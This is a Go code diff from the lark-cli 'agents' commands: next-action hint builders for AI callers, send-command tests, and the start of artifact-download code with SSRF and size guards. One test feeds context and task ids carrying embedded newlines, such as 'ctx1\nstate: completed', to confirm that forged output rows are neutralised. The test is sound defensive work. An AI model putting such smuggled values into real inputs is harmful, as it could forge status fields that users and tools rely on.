+// (prefer dropping the hint over risking injection); a failing context_id
+// degrades to the <context_id> placeholder,
+// which keeps the hint while interpolating nothing untrusted. A hint whose
+// command carries <...> placeholders is marked Template so callers know it
+// needs substitution before execution.
+// nextForTask additionally carries business parameters for the TARGET verb of
+// each suggested command per the three-way rule (see paramArgsFor): given
+// values that pass the whitelist ride literally, whitelist failures degrade
+// required params to placeholders, and target-verb-required params the caller
+// never provided are added as placeholders — so a required parameter is
+// structurally incapable of falling off the chain. given is what the caller
+// explicitly provided this call (never backfilled defaults); spec may be nil
+// in construction-time tests (no params are carried then).
+// caller is the verb that produced this output: a terminal task viewed via
+// task get must NOT suggest the very command the caller just ran (a naive AI
+// following meta.next verbatim would loop on itself); the artifact downloads
+// remain the only genuine increment there.
+func nextForTask(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string, caller string) []output.NextAction {
+	if !safeNextRef(ref) {
+		return nil
+	}
+	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
+		return nil
+	}
+	if task.State.ShouldStopPolling() {
+		if task.State == iagents.StateAuthRequired {
+			// auth_required is an agent-side task state — the end user must
+			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
+			// NOT a text continuation like input_required. Point at the auth
+			// re-authorize flow instead of a text continuation. The concrete scopes are the
+			// agent's declared scope set (see the lark-agents skill's prerequisites), so --scope is a
+			// placeholder → Template. ref/task_id are already whitelisted above, so
+			// echoing the re-check command in the label is safe.
+			// label 内嵌的重查命令按三分规则补 task_get 的参数携带——auth_required
+			// 是唯一不指向 agent 子树的 next，链传规则同样不许在这条路上丢必填。
+			recheckArgs, _ := paramArgsFor(spec, iagents.VerbTaskGet, given)
+			return []output.NextAction{{
+				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agents task get %s %s%s）", ref, task.TaskID, recheckArgs),
+				Command:  `lark-cli auth login --scope "<required_scopes>"`,
+				Template: true,
+			}}
+		}
+		if task.State == iagents.StateInputRequired {
+			// A task pausing on a question group: expand ONE per-question template
+			// (design doc §4.4) so the AI never hand-assembles the answer grammar —
+			// the placeholder names the answer form per question type (bare
+			// <option_id> for a choice, marked repeatable for multi-select,
+			// .text=<文本> for free text). All values are placeholders, so the hint
+			// is always a template — which is also why a missing or
+			// whitelist-failing context_id can degrade to the <context_id>
+			// placeholder instead of dropping the hint. Every question_id is
+			// server-supplied and must pass the safeNextID whitelist before
+			// interpolation (normalization upstream guarantees this; a violation
+			// here degrades to the free-text continuation rather than emitting a
+			// key the CLI's own guard would reject).
+			ctxID := task.ContextID
+			if ctxID == "" || !safeNextID(ctxID) {
+				ctxID = "<context_id>"
+			}
+			sendArgs, _ := paramArgsFor(spec, iagents.VerbSend, given)
+			if ir := task.InputRequired; ir != nil && len(ir.Questions) > 0 {
+				parts := make([]string, 0, len(ir.Questions))
+				for _, q := range ir.Questions {
+					if !safeNextID(q.QuestionID) {
+						parts = nil
+						break
+					}
+					switch {
+					case len(q.Options) == 0:
+						parts = append(parts, fmt.Sprintf("--answer %s.text=<文本>", q.QuestionID))
+					case q.MultiSelect:
+						parts = append(parts, fmt.Sprintf("--answer %s=<option_id 多选可重复>", q.QuestionID))
+					default:
+						parts = append(parts, fmt.Sprintf("--answer %s=<option_id>", q.QuestionID))
+					}
+				}
+				if parts != nil {
+					return []output.NextAction{{
+						Label:    "把问题组转达给用户后按其答复提交（用户先前指令已唯一确定答案时可代答，须说明依据）；选项都不合适的题用 <question_id>.text=<文本>",
+						Command:  fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s %s%s", ref, ctxID, task.TaskID, strings.Join(parts, " "), sendArgs),
+						Template: true,
+					}}
+				}
+			}
+			// No structured group (provider supplied none and normalization had
+			// nothing to synthesize from): plain free-text continuation — the
+			// provider treats a message to its paused task as the answer (§6.5).
+			return []output.NextAction{{
+				Label:    "补充输入后向同一任务续发",
+				Command:  fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s --text <你的答复>%s", ref, ctxID, task.TaskID, sendArgs),
+				Template: true,
+			}}
+		}
+		// Terminal: suggest reading the final detail, plus a ready-made download
+		// command per artifact (so the AI never has to hand-craft the
+		// `task get --artifact` form itself; -o stays a placeholder → template).
+		// When the caller IS task get, the detail suggestion would be a self-loop
+		// (the exact command just executed) — drop it and keep only the artifact
+		// increments.
+		var next []output.NextAction
+		if caller != iagents.VerbTaskGet {
+			getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
+			next = append(next, output.NextAction{
+				Label:    "查看任务详情与产物",
+				Command:  fmt.Sprintf("lark-cli agents task get %s %s%s", ref, task.TaskID, getArgs),
+				Template: getTpl,
+			})
+		}
+		next = append(next, artifactNext(ref, task, spec, given)...)
+		return next
+	}
+	getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
+	return []output.NextAction{{
+		Label:    "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
+		Command:  fmt.Sprintf("lark-cli agents task get %s %s --watch --timeout %s%s", ref, task.TaskID, defaultWatchTimeout, getArgs),
+		Template: getTpl,
+	}}
+}
+
+// artifactNext builds one ready-made download command per artifact of a
+// terminal task: only when the spec wires DownloadArtifact, only for artifact
+// ids that pass the whitelist (a failing id skips just that artifact), always
+// template (the -o save path is the caller's choice). Params carry per the
+// three-way rule against the artifact_download declaration.
+func artifactNext(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string) []output.NextAction {
+	if spec == nil || !task.IsTerminal || len(task.Artifacts) == 0 {
+		return nil
+	}
+	if op, ok := spec.Op(iagents.VerbArtifactDownload); !ok || !op.Wired {
+		return nil
+	}
+	dlArgs, _ := paramArgsFor(spec, iagents.VerbArtifactDownload, given)
+	var next []output.NextAction
+	for _, a := range task.Artifacts {
+		if a.ID == "" || !safeNextID(a.ID) {
+			continue // 服务端 id 过不了白名单 → 跳过该产物，不冒注入险
+		}
+		next = append(next, output.NextAction{
+			// label 只内插已过白名单的 id；产物名是 agent 可控文本，不进 label。
+			Label:    fmt.Sprintf("下载产物 %s", a.ID),
+			Command:  fmt.Sprintf("lark-cli agents task get %s %s --artifact %s -o <保存路径>%s", ref, task.TaskID, a.ID, dlArgs),
+			Template: true,
+		})
+	}
+	return next
+}
+
+// defaultWatchTimeout is the bounded poll window meta.next suggests for a
+// still-running task: a safe default that avoids an unbounded --watch blocking
+// forever on a long task and stops an AI caller from self-hammering. On expiry
+// the poll returns the current state (exit 0) plus a fresh watch hint, so the
+// caller re-watches in segments rather than blocking once. `--watch` used alone
+// (--timeout 0) stays unbounded for backward compatibility.
+const defaultWatchTimeout = 30 * time.Second

cmd/agents/send_test.go

@@ -0,0 +1,546 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"os"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// sendCmdCtx builds a `lark-cli agents send` leaf command whose CommandPath() is
+// non-empty (required for content-safety scanning) and whose --as flag is
+// explicitly set to bot so ResolveAs honors it verbatim.
+func sendCmdCtx(t *testing.T) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: "send"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if err := leaf.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
+// the scripted fakeflow agent agt_x under an explicit bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test — everything under test here is command-layer behavior over the
+// scripted provider.
+// mkSendFile chdirs to a temp dir and creates name there, so --file passes the
+// relative-within-CWD + existence gate (validateSendFiles) in tests.
+func mkSendFile(t *testing.T, name string) {
+	t.Helper()
+	dir := t.TempDir()
+	old, err := os.Getwd()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chdir(dir); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = os.Chdir(old) })
+	if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func sendTestOpts(t *testing.T) *sendOptions {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	return &sendOptions{
+		Factory: f,
+		Cmd:     sendCmdCtx(t),
+		Ref:     "fakeflow:agt_x",
+		As:      "bot",
+	}
+}
+
+// TestSendRequiresText pins that an empty --text is a validation error
+// (subtype invalid_argument) raised before any provider is built.
+func TestSendRequiresText(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
+	if err == nil {
+		t.Fatal("missing --text should raise a validation error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// hint contract: a missing --text must carry a copy-pasteable remediation
+	// hint, and the param uses the -- prefix.
+	if !strings.Contains(p.Hint, "--text") {
+		t.Errorf("hint should guide adding --text, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--text" {
+		t.Errorf("param should be --text, got %+v", verr)
+	}
+}
+
+// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
+// validation error, raised before any provider is built.
+func TestSendTaskIDRequiresContextID(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
+	if err == nil {
+		t.Fatal("--task-id without --context-id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// hint contract: state the next step clearly (--task-id must be provided
+	// together with --context-id).
+	if !strings.Contains(p.Hint, "--context-id") {
+		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--task-id" {
+		t.Errorf("param should be --task-id, got %+v", verr)
+	}
+}
+
+// TestSendAnswerGroup pins the structured input_required answer path: --answer
+// entries need no --text, and they reach the provider hook as the §10.1 map
+// encoding — keys verbatim (bare vs .text), values in argv order, multi-select
+// accumulated, exact duplicates deduplicated.
+func TestSendAnswerGroup(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.ContextID = "sess_1"
+	opts.TaskID = "task_1"
+	opts.Answers = []string{
+		"q1_a8=by_region",
+		"q2_a8.text=2024 全年",
+		"q3_a8=east", "q3_a8=north", "q3_a8=east", // exact dup → deduped
+	}
+	// deliberately no opts.Text — the answers ARE the message.
+	var got iagents.SendInput
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		got = in
+		return &iagents.AgentTask{TaskID: "task_1", ContextID: "sess_1", State: iagents.StateCompleted}, nil
+	}})
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("answering a group should not require --text: %v", err)
+	}
+	if v := got.Answers["q1_a8"]; len(v) != 1 || v[0] != "by_region" {
+		t.Errorf("bare answer should reach the hook as-is, got %v", got.Answers["q1_a8"])
+	}
+	if v := got.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
+		t.Errorf(".text key should stay verbatim in the map, got %v", got.Answers["q2_a8.text"])
+	}
+	if v := got.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
+		t.Errorf("multi-select should accumulate in argv order and dedupe exact repeats, got %v", got.Answers["q3_a8"])
+	}
+}
+
+// TestSendAnswerRequiresTaskContext pins that answering a group needs the
+// task/context it belongs to (mode-first guard, before key parsing).
+func TestSendAnswerRequiresTaskContext(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1=by_region"}})
+	if err == nil {
+		t.Fatal("--answer without --context-id/--task-id should error")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Errorf("param should be --answer, got %+v", verr)
+	}
+}
+
+// TestSendAnswerGrammar pins the offline --answer key/value grammar in one
+// collect-all pass: a non-key=value entry, a near-miss suffix (.txt), a
+// flag-lookalike key, an empty value, and a duplicated .text entry are ALL
+// reported in one error; none of them reaches any provider.
+func TestSendAnswerGrammar(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "sess_1", TaskID: "task_1",
+		Answers: []string{
+			"noequals",               // 非 key=value
+			"q1.txt=x",               // 后缀拼错：非法 key
+			"--text=x",               // flag 形状 key：首字符非法
+			"q2=",                    // 空值
+			"q3.text=a", "q3.text=b", // .text 不累积
+		}})
+	if err == nil {
+		t.Fatal("illegal --answer entries should error offline")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Fatalf("param should be --answer, got %+v", verr)
+	}
+	for _, frag := range []string{"noequals", "q1.txt", "--text", "q2", "q3.text"} {
+		if !strings.Contains(verr.Problem.Message, frag) {
+			t.Errorf("collect-all message should name %q, got %q", frag, verr.Problem.Message)
+		}
+	}
+}
+
+// workingTask is the canonical non-terminal task the scripted Send returns for
+// the happy-path tests.
+func workingTask() *iagents.AgentTask {
+	return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}
+}
+
+// TestSendPrettyFormat pins that `send --format pretty` renders the
+// resulting task as key: value lines (previously the flag was registered but
+// silently ignored).
+func TestSendPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --format pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
+// (key: value preview) instead of silently emitting JSON.
+func TestSendDryRunPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
+// runs context_id/task_id through kvValue (like every other pretty face), so a
+// value carrying a newline cannot forge an adjacent "key: value" field row.
+func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	opts.ContextID = "ctx1\nstate: completed"
+	opts.TaskID = "task1\ndeleted: true"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	// The raw newline must not survive into a forged adjacent row.
+	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
+		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	if strings.Contains(text, "task_id: task1\ndeleted: true") {
+		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	// kvValue collapses the newline to a space, keeping the value on one line.
+	if !strings.Contains(text, "context_id: ctx1 state: completed") {
+		t.Errorf("context_id should collapse to one line, got:\n%s", text)
+	}
+	if !strings.Contains(text, "task_id: task1 deleted: true") {
+		t.Errorf("task_id should collapse to one line, got:\n%s", text)
+	}
+}
+
+// TestSendNoParamsRequired pins card v2: the scripted card declares no
+// parameters, so a send without any --param passes card validation — asserted
+// via --dry-run so no provider Send fires. A malformed --param is still a
+// validation error.
+func TestSendNoParamsRequired(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = nil
+	opts.DryRun = true
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
+	}
+
+	opts2 := sendTestOpts(t)
+	opts2.Text = "分析销售"
+	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
+	opts2.DryRun = true
+	err := agentSendRun(opts2)
+	if err == nil {
+		t.Fatal("malformed --param should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestSendUnknownParamRejected pins, against an empty-parameters card, that
+// any --param key is unknown → invalid_argument with a hint pointing at
+// `agents card`, raised before any provider Send (asserted via --dry-run with
+// no send hook installed).
+func TestSendUnknownParamRejected(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = []string{"app_id=app_1"}
+	opts.DryRun = true
+	err := agentSendRun(opts)
+	if err == nil {
+		t.Fatal("card did not declare app_id, --param app_id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agents card") {
+		t.Fatalf("hint should point to agents card, got %q", p.Hint)
+	}
+}
+
+// TestSendDryRun pins that --dry-run prints a would_send preview and never
+// calls the provider (no send hook installed → a Send would panic).
+func TestSendDryRun(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be an object, got %T", env.Data)
+	}
+	if data["dry_run"] != true {
+		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
+	}
+	would, ok := data["would_send"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
+	}
+	if would["text"] != "分析销售" {
+		t.Errorf("would_send.text should echo the text, got %v", would["text"])
+	}
+}
+
+// TestSendStartsTask pins the happy path: a single Send fires and returns the
+// submitted / working task in a success envelope immediately (no polling), with
+// a meta.next hint pointing at task get --watch.
+func TestSendStartsTask(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	var gotText string
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		gotText = in.Text
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send should not error: %v", err)
+	}
+	if gotText != "分析销售" {
+		t.Errorf("provider should receive the original text, got %q", gotText)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["task_id"] != "chat_1" {
+		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
+	}
+	if data["state"] != string(iagents.StateWorking) {
+		t.Errorf("state should be working, got %v", data["state"])
+	}
+	// meta.next should suggest polling / continuing.
+	if !strings.Contains(string(out.Bytes()), `"next"`) {
+		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
+	}
+}
+
+// TestSendSendError surfaces a provider Send failure unchanged.
+func TestSendSendError(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "x"
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentSendRun(opts); err == nil {
+		t.Fatal("Send error should propagate")
+	}
+}
+
+// TestSendInvalidRef surfaces a malformed ref as a validation error after the
+// text/task-id guards pass.
+func TestSendInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
+// presence of the send-specific flags.
+func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentSend(nil, nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
+		t.Errorf("agents send should be marked write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agents send missing ref should raise an args error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agents send with a single ref should be valid: %v", err)
+	}
+	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("agents send should have --%s flag", name)
+		}
+	}
+	if cmd.Flags().Lookup("wait") != nil {
+		t.Error("agents send --wait should be removed (polling goes through task get --watch)")
+	}
+	// The --file help must point out that files are sent off to the remote
+	// provider (file-egress requirement).
+	fileFlag := cmd.Flags().Lookup("file")
+	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
+		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
+	}
+}
+
+// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
+// instead of the production path (construction-time seam).
+func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
+	called := false
+	var captured *sendOptions
+	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
+		called = true
+		captured = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
+	cmd.SetContext(context.Background())
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("execute should not error: %v", err)
+	}
+	if !called {
+		t.Fatal("runF should be called")
+	}
+	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
+		t.Errorf("opts not populated correctly: %+v", captured)
+	}
+}
+
+// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
+// carrying --file to a provider that supports file upload (the scripted card has
+// file_input=true) requires --yes, so without it the command returns
+// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
+// hook is a tripwire that would panic if the gate let the upload through.
+func TestSend_FileRequiresYes(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"} // no --yes
+
+	err := agentSendRun(opts)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
+	}
+	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
+		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
+	}
+}
+
+// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
+// send reaches the provider, which receives the file path.
+func TestSend_FileWithYesProceeds(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		sent = true
+		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
+			t.Errorf("provider should receive the --file path, got %v", in.Files)
+		}
+		return &iagents.AgentTask{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: true}, nil
+	}})
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.Yes = true
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --file --yes should proceed: %v", err)
+	}
+	if !sent {
+		t.Error("provider Send should be reached after --yes")
+	}
+}
+
+// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
+// gate (dry-run never uploads), so it needs no --yes and never reaches the
+// provider (unset send hook stays a tripwire).
+func TestSend_FileDryRunNotGated(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.DryRun = true // no --yes
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run --file should not be gated: %v", err)
+	}
+}

cmd/agents/task.go

@@ -0,0 +1,609 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// maxArtifactBytes caps a single downloaded artifact to guard against an
+// untrusted host streaming an unbounded body onto local disk.
+const maxArtifactBytes = 256 << 20 // 256 MiB
+
+// taskOptions holds all inputs for the `agents task get|list|cancel` leaves. A
+// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
+// are wired once; each RunE reads only the fields its verb needs.
+type taskOptions struct {
+	Factory    *cmdutil.Factory
+	Cmd        *cobra.Command
+	Ref        string
+	TaskID     string
+	ContextID  string
+	ArtifactID string
+	Params     []string
+	Output     string
+	Force      bool
+	Watch      bool
+	Timeout    time.Duration
+	As         string
+	Format     string
+	PageSize   int
+	PageToken  string
+}
+
+// resolveDownload is the DownloadArtifact seam: it resolves the provider
+// addressed by opts under the effective identity, runs the local scope
+// preflight, and fetches the artifact descriptor. Tests swap it to return
+// inline bytes without a Factory / network.
+var resolveDownload = func(opts *taskOptions) (*iagents.ArtifactData, error) {
+	_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return nil, err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(opts.Factory, spec, opts.Ref); err != nil {
+		return nil, err
+	}
+	// Capability gate before any network: a spec that does not wire
+	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
+	if spec.DownloadArtifact.Handler == nil {
+		return nil, capabilityError(opts.Ref, "artifact download", iagents.CapArtifactDownload)
+	}
+	// Per-capability brand gate: artifact_download's own brand scope.
+	if err := opBrandGate(opts.Factory, spec.DownloadArtifact.Brands, opts.Ref, "artifact download"); err != nil {
+		return nil, err
+	}
+	// --artifact switches this command to the artifact_download operation, so
+	// params validate STRICTLY against its declaration (a task_get-only param
+	// here gets the cross-operation teaching error), and rt.Params() carries
+	// only artifact_download keys — the executing hook's own contract.
+	vp, err := validateParams(opts.Params, spec.DownloadArtifact.Params, iagents.VerbArtifactDownload, spec, opts.Ref)
+	if err != nil {
+		return nil, err
+	}
+	rt, err := runtimeFor(opts.Factory, id, agentID, vp.Resolved)
+	if err != nil {
+		return nil, err
+	}
+	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
+		return nil, err
+	}
+	return spec.DownloadArtifact.Handler(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
+}
+
+// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
+// its bytes with a download-hardened client. Tests swap it to serve a loopback
+// httptest server (which the production SSRF guard would otherwise block).
+var artifactFetch = fetchArtifactURL
+
+// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
+// Production wraps the base client with the SSRF-hardened redirect/dial rules;
